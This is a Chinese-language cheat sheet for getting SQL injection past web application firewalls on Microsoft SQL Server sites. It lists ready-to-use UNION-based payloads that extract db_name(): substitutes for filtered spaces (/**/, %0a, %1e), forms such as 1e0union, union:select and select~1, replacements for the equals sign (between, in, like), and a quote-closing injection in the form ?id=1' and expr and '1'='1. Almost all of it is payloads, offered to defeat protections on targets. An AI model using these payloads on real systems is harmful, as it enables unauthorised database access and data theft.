[!TIP]

绕过主要还是利用一些特性来,如数据库的特性、中间件的特性等,所以还是要熟悉函数等

通用方法

通用的方法,就是万金油,无非就是大小写、双写、编码、注释、HPP、垃圾字符、分块传输、WAF特性
官方函数文档:https://docs.microsoft.com/zh-cn/sql/t-sql/functions/functions?view=sql-server-ver15

绕过空格

空格被过滤的情况,常规可以用如下的一些手法:

| 说明 | Payload | | —- | —- |

| 使用注释符 | select/**/@@version; |

| URL编码空格 | + |

| 其他URL编码(换行、Tab等) | %0a%09 |

| MSSQL空白符[0x00-0x20] | 如%1e |

除了上面的常规手法,还有一些非常规的手法

and/or后

如果是and/or后面的空格需要绕过的话,可以用如下的一些算数符来绕过

  1. !
  2. +
  3. --
  4. .
  5. \
  6. ~

参数和UNION之间

1、浮点数

  1. select * from test where id=1.1union select 1,'2',db_name() from test;

2、1e0形式

  1. select * from test where id=1e0union select 1,'2',db_name() from test;

3、运算符

  1. select * from test where id=1-1union select 1,'2',db_name() from test;
  2. select * from test where id=1e-union select 1,'2',db_name() from test;

UNION和SELECT之间

1、冒号

  1. select * from test where id=1 union:select 1,'2',db_name() from test;

SELECT和后续参数

1、字符集

  1. select * from test where id=1 union select.1,'2',db_name() from test;
  2. select * from test where id=1 union select~1,'2',db_name() from test;
  3. /*
  4. +
  5. -
  6. .
  7. :
  8. ~
  9. */

绕过等号=

过滤了等号或者相关的匹配符,可以采用如下的一些手法来绕过

https://docs.microsoft.com/zh-cn/sql/t-sql/language-elements/like-transact-sql?view=sql-server-ver15

| Payload | 说明 | | —- | —- |

| <>>< | 不等符、大于、小于 |

| select 1 between 1 and 2;
select 1 not between 1 and 2; | between语句,在两值之间 |

| select 1 in (1);
select 1 not in (1); | in语句,在集合中 |

| select '123' like '1%'; | like模糊匹配 |

绕过注释符

对注释符过滤的情况下,对我们来说问题可能就是语句不能正常执行
解决办法也很简单,用完整语句给他闭合就OK了,其他语句类似

  1. # 原始
  2. ?id=1
  3. # 完整闭合
  4. ?id=1' and expr and '1'='1